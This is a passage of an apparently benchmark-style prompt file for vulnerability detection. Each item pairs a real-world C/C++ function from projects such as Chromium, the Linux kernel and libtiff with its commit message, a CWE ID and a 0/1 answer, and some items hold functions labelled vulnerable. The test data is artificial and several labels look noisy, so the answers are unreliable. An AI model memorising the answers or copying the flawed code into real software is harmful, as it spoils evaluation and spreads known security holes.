Commit-Queue: Xianzhu Wang <[email protected]> > Cr-Commit-Position: refs/heads/master@{#554653} [email protected],[email protected],[email protected] # Not skipping CQ checks because original CL landed > 1 day ago. Bug: 833496, 837932, 837943 Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992 Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 Reviewed-on: https://chromium-review.googlesource.com/1083491 Commit-Queue: Xianzhu Wang <[email protected]> Reviewed-by: Xianzhu Wang <[email protected]> Cr-Commit-Position: refs/heads/master@{#563930} CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void SetImePropertyActivated(const char* key, bool activated) { if (!IBusConnectionsAreAlive()) { LOG(ERROR) << "SetImePropertyActivated: IBus connection is not alive"; return; } if (!key || (key[0] == '\0')) { return; } if (input_context_path_.empty()) { LOG(ERROR) << "Input context is unknown"; return; } IBusInputContext* context = GetInputContext(input_context_path_, ibus_); if (!context) { return; } ibus_input_context_property_activate( context, key, (activated ? PROP_STATE_CHECKED : PROP_STATE_UNCHECKED)); g_object_unref(context); } Commit Message: Remove use of libcros from InputMethodLibrary. BUG=chromium-os:16238 TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before. Review URL: http://codereview.chromium.org/7003086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Target: 1 Example 2: Code: dispatchRaw(Parcel &p, RequestInfo *pRI) { int32_t len; status_t status; const void *data; status = p.readInt32(&len); if (status != NO_ERROR) { goto invalid; } if (((int)len) == -1) { data = NULL; len = 0; } data = p.readInplace(len); startRequest; appendPrintBuf("%sraw_size=%d", printBuf, len); closeRequest; printRequest(pRI->token, pRI->pCI->requestNumber); CALL_ONREQUEST(pRI->pCI->requestNumber, const_cast<void *>(data), len, pRI, pRI->socket_id); return; invalid: invalidCommandBlock(pRI); return; } Commit Message: DO NOT MERGE Fix security vulnerability in pre-O rild code. Remove wrong code for setup_data_call. Add check for max address for RIL_DIAL. Bug: 37896655 Test: Manual. Change-Id: I05c027140ae828a2653794fcdd94e1b1a130941b (cherry picked from commit dda24c6557911aa1f4708abbd6b2f20f0e205b9e) CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: explicit ConsoleCallbackFilter( base::Callback<void(const base::string16&)> callback) : callback_(callback) {} Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo. Note: Since this required changing the test RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually re-introduced https://crbug.com/666714 locally (the bug the test was added for), and reran the test to confirm that it still covers the bug. Bug: 786836 Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270 Commit-Queue: Lowell Manners <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Reviewed-by: Camille Lamy <[email protected]> Cr-Commit-Position: refs/heads/master@{#653137} CWE ID: CWE-416 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: modifier_color_encoding_is_set(PNG_CONST png_modifier *pm) { return pm->current_gamma != 0; } Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82) CWE ID: Target: 1 Example 2: Code: int unlink_framebuffer(struct fb_info *fb_info) { int i; i = fb_info->node; if (i < 0 || i >= FB_MAX || registered_fb[i] != fb_info) return -EINVAL; if (fb_info->dev) { device_destroy(fb_class, MKDEV(FB_MAJOR, i)); fb_info->dev = NULL; } return 0; } Commit Message: vm: convert fb_mmap to vm_iomap_memory() helper This is my example conversion of a few existing mmap users. The fb_mmap() case is a good example because it is a bit more complicated than some: fb_mmap() mmaps one of two different memory areas depending on the page offset of the mmap (but happily there is never any mixing of the two, so the helper function still works). Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void RenderThreadImpl::RegisterSchemes() { WebString chrome_scheme(WebString::FromASCII(kChromeUIScheme)); WebSecurityPolicy::RegisterURLSchemeAsDisplayIsolated(chrome_scheme); WebSecurityPolicy::RegisterURLSchemeAsNotAllowingJavascriptURLs( chrome_scheme); WebString devtools_scheme(WebString::FromASCII(kChromeDevToolsScheme)); WebSecurityPolicy::RegisterURLSchemeAsDisplayIsolated(devtools_scheme); WebString view_source_scheme(WebString::FromASCII(kViewSourceScheme)); WebSecurityPolicy::RegisterURLSchemeAsDisplayIsolated(view_source_scheme); WebString error_scheme(WebString::FromASCII(kChromeErrorScheme)); WebSecurityPolicy::RegisterURLSchemeAsDisplayIsolated(error_scheme); WebSecurityPolicy::RegisterURLSchemeAsNotAllowingJavascriptURLs(error_scheme); } Commit Message: Roll src/third_party/boringssl/src 664e99a64..696c13bd6 https://boringssl.googlesource.com/boringssl/+log/664e99a6486c293728097c661332f92bf2d847c6..696c13bd6ab78011adfe7b775519c8b7cc82b604 BUG=778101 Change-Id: I8dda4f3db952597148e3c7937319584698d00e1c Reviewed-on: https://chromium-review.googlesource.com/747941 Reviewed-by: Avi Drissman <[email protected]> Reviewed-by: David Benjamin <[email protected]> Commit-Queue: Steven Valdez <[email protected]> Cr-Commit-Position: refs/heads/master@{#513774} CWE ID: CWE-310 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static __init int hardware_setup(void) { int r = -ENOMEM, i, msr; rdmsrl_safe(MSR_EFER, &host_efer); for (i = 0; i < ARRAY_SIZE(vmx_msr_index); ++i) kvm_define_shared_msr(i, vmx_msr_index[i]); vmx_io_bitmap_a = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_io_bitmap_a) return r; vmx_io_bitmap_b = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_io_bitmap_b) goto out; vmx_msr_bitmap_legacy = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_msr_bitmap_legacy) goto out1; vmx_msr_bitmap_legacy_x2apic = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_msr_bitmap_legacy_x2apic) goto out2; vmx_msr_bitmap_longmode = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_msr_bitmap_longmode) goto out3; vmx_msr_bitmap_longmode_x2apic = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_msr_bitmap_longmode_x2apic) goto out4; if (nested) { vmx_msr_bitmap_nested = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_msr_bitmap_nested) goto out5; } vmx_vmread_bitmap = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_vmread_bitmap) goto out6; vmx_vmwrite_bitmap = (unsigned long *)__get_free_page(GFP_KERNEL); if (!vmx_vmwrite_bitmap) goto out7; memset(vmx_vmread_bitmap, 0xff, PAGE_SIZE); memset(vmx_vmwrite_bitmap, 0xff, PAGE_SIZE); /* * Allow direct access to the PC debug port (it is often used for I/O * delays, but the vmexits simply slow things down). */ memset(vmx_io_bitmap_a, 0xff, PAGE_SIZE); clear_bit(0x80, vmx_io_bitmap_a); memset(vmx_io_bitmap_b, 0xff, PAGE_SIZE); memset(vmx_msr_bitmap_legacy, 0xff, PAGE_SIZE); memset(vmx_msr_bitmap_longmode, 0xff, PAGE_SIZE); if (nested) memset(vmx_msr_bitmap_nested, 0xff, PAGE_SIZE); if (setup_vmcs_config(&vmcs_config) < 0) { r = -EIO; goto out8; } if (boot_cpu_has(X86_FEATURE_NX)) kvm_enable_efer_bits(EFER_NX); if (!cpu_has_vmx_vpid()) enable_vpid = 0; if (!cpu_has_vmx_shadow_vmcs()) enable_shadow_vmcs = 0; if (enable_shadow_vmcs) init_vmcs_shadow_fields(); if (!cpu_has_vmx_ept() || !cpu_has_vmx_ept_4levels()) { enable_ept = 0; enable_unrestricted_guest = 0; enable_ept_ad_bits = 0; } if (!cpu_has_vmx_ept_ad_bits()) enable_ept_ad_bits = 0; if (!cpu_has_vmx_unrestricted_guest()) enable_unrestricted_guest = 0; if (!cpu_has_vmx_flexpriority()) flexpriority_enabled = 0; /* * set_apic_access_page_addr() is used to reload apic access * page upon invalidation. No need to do anything if not * using the APIC_ACCESS_ADDR VMCS field. */ if (!flexpriority_enabled) kvm_x86_ops->set_apic_access_page_addr = NULL; if (!cpu_has_vmx_tpr_shadow()) kvm_x86_ops->update_cr8_intercept = NULL; if (enable_ept && !cpu_has_vmx_ept_2m_page()) kvm_disable_largepages(); if (!cpu_has_vmx_ple()) ple_gap = 0; if (!cpu_has_vmx_apicv()) enable_apicv = 0; if (cpu_has_vmx_tsc_scaling()) { kvm_has_tsc_control = true; kvm_max_tsc_scaling_ratio = KVM_VMX_TSC_MULTIPLIER_MAX; kvm_tsc_scaling_ratio_frac_bits = 48; } vmx_disable_intercept_for_msr(MSR_FS_BASE, false); vmx_disable_intercept_for_msr(MSR_GS_BASE, false); vmx_disable_intercept_for_msr(MSR_KERNEL_GS_BASE, true); vmx_disable_intercept_for_msr(MSR_IA32_SYSENTER_CS, false); vmx_disable_intercept_for_msr(MSR_IA32_SYSENTER_ESP, false); vmx_disable_intercept_for_msr(MSR_IA32_SYSENTER_EIP, false); vmx_disable_intercept_for_msr(MSR_IA32_BNDCFGS, true); memcpy(vmx_msr_bitmap_legacy_x2apic, vmx_msr_bitmap_legacy, PAGE_SIZE); memcpy(vmx_msr_bitmap_longmode_x2apic, vmx_msr_bitmap_longmode, PAGE_SIZE); set_bit(0, vmx_vpid_bitmap); /* 0 is reserved for host */ if (enable_apicv) { for (msr = 0x800; msr <= 0x8ff; msr++) vmx_disable_intercept_msr_read_x2apic(msr); /* According SDM, in x2apic mode, the whole id reg is used. * But in KVM, it only use the highest eight bits. Need to * intercept it */ vmx_enable_intercept_msr_read_x2apic(0x802); /* TMCCT */ vmx_enable_intercept_msr_read_x2apic(0x839); /* TPR */ vmx_disable_intercept_msr_write_x2apic(0x808); /* EOI */ vmx_disable_intercept_msr_write_x2apic(0x80b); /* SELF-IPI */ vmx_disable_intercept_msr_write_x2apic(0x83f); } if (enable_ept) { kvm_mmu_set_mask_ptes(0ull, (enable_ept_ad_bits) ? VMX_EPT_ACCESS_BIT : 0ull, (enable_ept_ad_bits) ? VMX_EPT_DIRTY_BIT : 0ull, 0ull, VMX_EPT_EXECUTABLE_MASK); ept_set_mmio_spte_mask(); kvm_enable_tdp(); } else kvm_disable_tdp(); update_ple_window_actual_max(); /* * Only enable PML when hardware supports PML feature, and both EPT * and EPT A/D bit features are enabled -- PML depends on them to work. */ if (!enable_ept || !enable_ept_ad_bits || !cpu_has_vmx_pml()) enable_pml = 0; if (!enable_pml) { kvm_x86_ops->slot_enable_log_dirty = NULL; kvm_x86_ops->slot_disable_log_dirty = NULL; kvm_x86_ops->flush_log_dirty = NULL; kvm_x86_ops->enable_log_dirty_pt_masked = NULL; } kvm_set_posted_intr_wakeup_handler(wakeup_handler); return alloc_kvm_area(); out8: free_page((unsigned long)vmx_vmwrite_bitmap); out7: free_page((unsigned long)vmx_vmread_bitmap); out6: if (nested) free_page((unsigned long)vmx_msr_bitmap_nested); out5: free_page((unsigned long)vmx_msr_bitmap_longmode_x2apic); out4: free_page((unsigned long)vmx_msr_bitmap_longmode); out3: free_page((unsigned long)vmx_msr_bitmap_legacy_x2apic); out2: free_page((unsigned long)vmx_msr_bitmap_legacy); out1: free_page((unsigned long)vmx_io_bitmap_b); out: free_page((unsigned long)vmx_io_bitmap_a); return r; } Commit Message: kvm:vmx: more complete state update on APICv on/off The function to update APICv on/off state (in particular, to deactivate it when enabling Hyper-V SynIC) is incomplete: it doesn't adjust APICv-related fields among secondary processor-based VM-execution controls. As a result, Windows 2012 guests get stuck when SynIC-based auto-EOI interrupt intersected with e.g. an IPI in the guest. In addition, the MSR intercept bitmap isn't updated every time "virtualize x2APIC mode" is toggled. This path can only be triggered by a malicious guest, because Windows didn't use x2APIC but rather their own synthetic APIC access MSRs; however a guest running in a SynIC-enabled VM could switch to x2APIC and thus obtain direct access to host APIC MSRs (CVE-2016-4440). The patch fixes those omissions. Signed-off-by: Roman Kagan <[email protected]> Reported-by: Steve Rutherford <[email protected]> Reported-by: Yang Zhang <[email protected]> Signed-off-by: Paolo Bonzini <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ Commit Message: * tools/tiffcrop.c: fix out-of-bound read of up to 3 bytes in readContigTilesIntoBuffer(). Reported as MSVR 35092 by Axel Souchet & Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team. CWE ID: CWE-125 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void bgp_packet_mpattr_tea(struct bgp *bgp, struct peer *peer, struct stream *s, struct attr *attr, uint8_t attrtype) { unsigned int attrlenfield = 0; unsigned int attrhdrlen = 0; struct bgp_attr_encap_subtlv *subtlvs; struct bgp_attr_encap_subtlv *st; const char *attrname; if (!attr || (attrtype == BGP_ATTR_ENCAP && (!attr->encap_tunneltype || attr->encap_tunneltype == BGP_ENCAP_TYPE_MPLS))) return; switch (attrtype) { case BGP_ATTR_ENCAP: attrname = "Tunnel Encap"; subtlvs = attr->encap_subtlvs; if (subtlvs == NULL) /* nothing to do */ return; /* * The tunnel encap attr has an "outer" tlv. * T = tunneltype, * L = total length of subtlvs, * V = concatenated subtlvs. */ attrlenfield = 2 + 2; /* T + L */ attrhdrlen = 1 + 1; /* subTLV T + L */ break; #if ENABLE_BGP_VNC case BGP_ATTR_VNC: attrname = "VNC"; subtlvs = attr->vnc_subtlvs; if (subtlvs == NULL) /* nothing to do */ return; attrlenfield = 0; /* no outer T + L */ attrhdrlen = 2 + 2; /* subTLV T + L */ break; #endif default: assert(0); } /* compute attr length */ for (st = subtlvs; st; st = st->next) { attrlenfield += (attrhdrlen + st->length); } if (attrlenfield > 0xffff) { zlog_info("%s attribute is too long (length=%d), can't send it", attrname, attrlenfield); return; } if (attrlenfield > 0xff) { /* 2-octet length field */ stream_putc(s, BGP_ATTR_FLAG_TRANS | BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_EXTLEN); stream_putc(s, attrtype); stream_putw(s, attrlenfield & 0xffff); } else { /* 1-octet length field */ stream_putc(s, BGP_ATTR_FLAG_TRANS | BGP_ATTR_FLAG_OPTIONAL); stream_putc(s, attrtype); stream_putc(s, attrlenfield & 0xff); } if (attrtype == BGP_ATTR_ENCAP) { /* write outer T+L */ stream_putw(s, attr->encap_tunneltype); stream_putw(s, attrlenfield - 4); } /* write each sub-tlv */ for (st = subtlvs; st; st = st->next) { if (attrtype == BGP_ATTR_ENCAP) { stream_putc(s, st->type); stream_putc(s, st->length); #if ENABLE_BGP_VNC } else { stream_putw(s, st->type); stream_putw(s, st->length); #endif } stream_put(s, st->value, st->length); } } Commit Message: bgpd: don't use BGP_ATTR_VNC(255) unless ENABLE_BGP_VNC_ATTR is defined Signed-off-by: Lou Berger <[email protected]> CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: RenderWidgetHostViewAura::RenderWidgetHostViewAura(RenderWidgetHost* host, bool is_guest_view_hack) : host_(RenderWidgetHostImpl::From(host)), window_(nullptr), in_shutdown_(false), in_bounds_changed_(false), popup_parent_host_view_(nullptr), popup_child_host_view_(nullptr), is_loading_(false), has_composition_text_(false), background_color_(SK_ColorWHITE), needs_begin_frames_(false), needs_flush_input_(false), added_frame_observer_(false), cursor_visibility_state_in_renderer_(UNKNOWN), #if defined(OS_WIN) legacy_render_widget_host_HWND_(nullptr), legacy_window_destroyed_(false), virtual_keyboard_requested_(false), #endif has_snapped_to_boundary_(false), is_guest_view_hack_(is_guest_view_hack), device_scale_factor_(0.0f), event_handler_(new RenderWidgetHostViewEventHandler(host_, this, this)), weak_ptr_factory_(this) { if (!is_guest_view_hack_) host_->SetView(this); if (GetTextInputManager()) GetTextInputManager()->AddObserver(this); bool overscroll_enabled = base::CommandLine::ForCurrentProcess()-> GetSwitchValueASCII(switches::kOverscrollHistoryNavigation) != "0"; SetOverscrollControllerEnabled(overscroll_enabled); selection_controller_client_.reset( new TouchSelectionControllerClientAura(this)); CreateSelectionController(); RenderViewHost* rvh = RenderViewHost::From(host_); if (rvh) { ignore_result(rvh->GetWebkitPreferences()); } } Commit Message: Allocate a FrameSinkId for RenderWidgetHostViewAura in mus+ash RenderWidgetHostViewChildFrame expects its parent to have a valid FrameSinkId. Make sure RenderWidgetHostViewAura has a FrameSinkId even if DelegatedFrameHost is not used (in mus+ash). BUG=706553 [email protected] Review-Url: https://codereview.chromium.org/2847253003 Cr-Commit-Position: refs/heads/master@{#468179} CWE ID: CWE-254 Target: 1 Example 2: Code: base::string16 AuthenticatorNotRegisteredErrorModel::GetStepTitle() const { return l10n_util::GetStringUTF16(IDS_WEBAUTHN_ERROR_WRONG_KEY_TITLE); } Commit Message: chrome/browser/ui/webauthn: long domains may cause a line break. As requested by UX in [1], allow long host names to split a title into two lines. This allows us to show more of the name before eliding, although sufficiently long names will still trigger elision. Screenshot at https://drive.google.com/open?id=1_V6t2CeZDAVazy3Px-OET2LnB__aEW1r. [1] https://docs.google.com/presentation/d/1TtxkPUchyVZulqgdMcfui-68B0W-DWaFFVJEffGIbLA/edit#slide=id.g5913c4105f_1_12 Change-Id: I70f6541e0db3e9942239304de43b487a7561ca34 Bug: 870892 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1601812 Auto-Submit: Adam Langley <[email protected]> Commit-Queue: Nina Satragno <[email protected]> Reviewed-by: Nina Satragno <[email protected]> Cr-Commit-Position: refs/heads/master@{#658114} CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: WORD32 ih264d_init(iv_obj_t *dec_hdl, void *pv_api_ip, void *pv_api_op) { ih264d_init_ip_t *ps_init_ip; ih264d_init_op_t *ps_init_op; WORD32 init_status = IV_SUCCESS; ps_init_ip = (ih264d_init_ip_t *)pv_api_ip; ps_init_op = (ih264d_init_op_t *)pv_api_op; init_status = ih264d_init_video_decoder(dec_hdl, ps_init_ip, ps_init_op); if(IV_SUCCESS != init_status) { return init_status; } return init_status; } Commit Message: Decoder: Fixed initialization of first_slice_in_pic To handle some errors, first_slice_in_pic was being set to 2. This is now cleaned up and first_slice_in_pic is set to 1 only once per pic. This will ensure picture level initializations are done only once even in case of error clips Bug: 33717589 Bug: 33551775 Bug: 33716442 Bug: 33677995 Change-Id: If341436b3cbaa724017eedddd88c2e6fac36d8ba CWE ID: CWE-200 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void Segment::PreloadCluster(Cluster* pCluster, ptrdiff_t idx) { assert(pCluster); assert(pCluster->m_index < 0); assert(idx >= m_clusterCount); const long count = m_clusterCount + m_clusterPreloadCount; long& size = m_clusterSize; assert(size >= count); if (count >= size) { const long n = (size <= 0) ? 2048 : 2*size; Cluster** const qq = new Cluster*[n]; Cluster** q = qq; Cluster** p = m_clusters; Cluster** const pp = p + count; while (p != pp) *q++ = *p++; delete[] m_clusters; m_clusters = qq; size = n; } assert(m_clusters); Cluster** const p = m_clusters + idx; Cluster** q = m_clusters + count; assert(q >= p); assert(q < (m_clusters + size)); while (q > p) { Cluster** const qq = q - 1; assert((*qq)->m_index < 0); *q = *qq; q = qq; } m_clusters[idx] = pCluster; ++m_clusterPreloadCount; } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119 Target: 1 Example 2: Code: static void release_memory_resource(struct resource *resource) { if (!resource) return; /* * No need to reset region to identity mapped since we now * know that no I/O can be in this region */ release_resource(resource); kfree(resource); } Commit Message: xen: let alloc_xenballooned_pages() fail if not enough memory free commit a1078e821b605813b63bf6bca414a85f804d5c66 upstream. Instead of trying to allocate pages with GFP_USER in add_ballooned_pages() check the available free memory via si_mem_available(). GFP_USER is far less limiting memory exhaustion than the test via si_mem_available(). This will avoid dom0 running out of memory due to excessive foreign page mappings especially on ARM and on x86 in PVH mode, as those don't have a pre-ballooned area which can be used for foreign mappings. As the normal ballooning suffers from the same problem don't balloon down more than si_mem_available() pages in one iteration. At the same time limit the default maximum number of retries. This is part of XSA-300. Signed-off-by: Juergen Gross <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-400 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: tt_cmap0_get_info( TT_CMap cmap, TT_CMapInfo *cmap_info ) { FT_Byte* p = cmap->data + 4; cmap_info->format = 0; cmap_info->language = (FT_ULong)TT_PEEK_USHORT( p ); return SFNT_Err_Ok; } Commit Message: CWE ID: CWE-189 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, struct xt_table_info *newinfo, unsigned int *size, const unsigned char *base, const unsigned char *limit, const unsigned int *hook_entries, const unsigned int *underflows, const char *name) { struct xt_entry_match *ematch; struct xt_entry_target *t; struct xt_target *target; unsigned int entry_offset; unsigned int j; int ret, off, h; duprintf("check_compat_entry_size_and_hooks %p\n", e); if ((unsigned long)e % __alignof__(struct compat_ipt_entry) != 0 || (unsigned char *)e + sizeof(struct compat_ipt_entry) >= limit || (unsigned char *)e + e->next_offset > limit) { duprintf("Bad offset %p, limit = %p\n", e, limit); return -EINVAL; } if (e->next_offset < sizeof(struct compat_ipt_entry) + sizeof(struct compat_xt_entry_target)) { duprintf("checking: element %p size %u\n", e, e->next_offset); return -EINVAL; } if (!ip_checkentry(&e->ip)) return -EINVAL; ret = xt_compat_check_entry_offsets(e, e->target_offset, e->next_offset); if (ret) return ret; off = sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry); entry_offset = (void *)e - (void *)base; j = 0; xt_ematch_foreach(ematch, e) { ret = compat_find_calc_match(ematch, name, &e->ip, &off); if (ret != 0) goto release_matches; ++j; } t = compat_ipt_get_target(e); target = xt_request_find_target(NFPROTO_IPV4, t->u.user.name, t->u.user.revision); if (IS_ERR(target)) { duprintf("check_compat_entry_size_and_hooks: `%s' not found\n", t->u.user.name); ret = PTR_ERR(target); goto release_matches; } t->u.kernel.target = target; off += xt_compat_target_offset(target); *size += off; ret = xt_compat_add_offset(AF_INET, entry_offset, off); if (ret) goto out; /* Check hooks & underflows */ for (h = 0; h < NF_INET_NUMHOOKS; h++) { if ((unsigned char *)e - base == hook_entries[h]) newinfo->hook_entry[h] = hook_entries[h]; if ((unsigned char *)e - base == underflows[h]) newinfo->underflow[h] = underflows[h]; } /* Clear counters and comefrom */ memset(&e->counters, 0, sizeof(e->counters)); e->comefrom = 0; return 0; out: module_put(t->u.kernel.target->me); release_matches: xt_ematch_foreach(ematch, e) { if (j-- == 0) break; module_put(ematch->u.kernel.match->me); } return ret; } Commit Message: netfilter: x_tables: check for bogus target offset We're currently asserting that targetoff + targetsize <= nextoff. Extend it to also check that targetoff is >= sizeof(xt_entry). Since this is generic code, add an argument pointing to the start of the match/target, we can then derive the base structure size from the delta. We also need the e->elems pointer in a followup change to validate matches. Signed-off-by: Florian Westphal <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: void RenderFrameHostImpl::DidCommitProvisionalLoad( std::unique_ptr<FrameHostMsg_DidCommitProvisionalLoad_Params> validated_params, service_manager::mojom::InterfaceProviderRequest interface_provider_request) { ScopedActiveURL scoped_active_url( validated_params->url, frame_tree_node()->frame_tree()->root()->current_origin()); ScopedCommitStateResetter commit_state_resetter(this); RenderProcessHost* process = GetProcess(); TRACE_EVENT2("navigation", "RenderFrameHostImpl::DidCommitProvisionalLoad", "frame_tree_node", frame_tree_node_->frame_tree_node_id(), "url", validated_params->url.possibly_invalid_spec()); NotifyResourceSchedulerOfNavigation(process->GetID(), *validated_params); if (is_waiting_for_beforeunload_ack_ && unload_ack_is_for_navigation_ && !GetParent()) { base::TimeTicks approx_renderer_start_time = send_before_unload_start_time_; OnBeforeUnloadACK(true, approx_renderer_start_time, base::TimeTicks::Now()); } if (IsWaitingForUnloadACK()) return; DCHECK(document_scoped_interface_provider_binding_.is_bound()); if (interface_provider_request.is_pending()) { auto interface_provider_request_of_previous_document = document_scoped_interface_provider_binding_.Unbind(); dropped_interface_request_logger_ = std::make_unique<DroppedInterfaceRequestLogger>( std::move(interface_provider_request_of_previous_document)); BindInterfaceProviderRequest(std::move(interface_provider_request)); } else { if (frame_tree_node_->has_committed_real_load()) { document_scoped_interface_provider_binding_.Close(); bad_message::ReceivedBadMessage( process, bad_message::RFH_INTERFACE_PROVIDER_MISSING); return; } } if (!DidCommitNavigationInternal(validated_params.get(), false /* is_same_document_navigation */)) return; commit_state_resetter.disable(); if (frame_tree_node_->IsMainFrame() && GetView()) { RenderWidgetHostImpl::From(GetView()->GetRenderWidgetHost()) ->DidNavigate(validated_params->content_source_id); } } Commit Message: Apply ExtensionNavigationThrottle filesystem/blob checks to all frames. BUG=836858 Change-Id: I34333a72501129fd40b5a9aa6378c9f35f1e7fc2 Reviewed-on: https://chromium-review.googlesource.com/1028511 Reviewed-by: Devlin <[email protected]> Reviewed-by: Alex Moshchuk <[email protected]> Reviewed-by: Nick Carter <[email protected]> Commit-Queue: Charlie Reis <[email protected]> Cr-Commit-Position: refs/heads/master@{#553867} CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int is_integer(char *string) { if (isdigit(string[0]) || string[0] == '-' || string[0] == '+') { while (*++string && isdigit(*string)) ; /* deliberately empty */ if (!*string) return 1; } return 0; } Commit Message: Security fixes. - Don't overflow the small cs_start buffer (reported by Niels Thykier via the debian tracker (Jakub Wilk), found with a fuzzer ("American fuzzy lop")). - Cast arguments to <ctype.h> functions to unsigned char. CWE ID: CWE-119 Output:
1
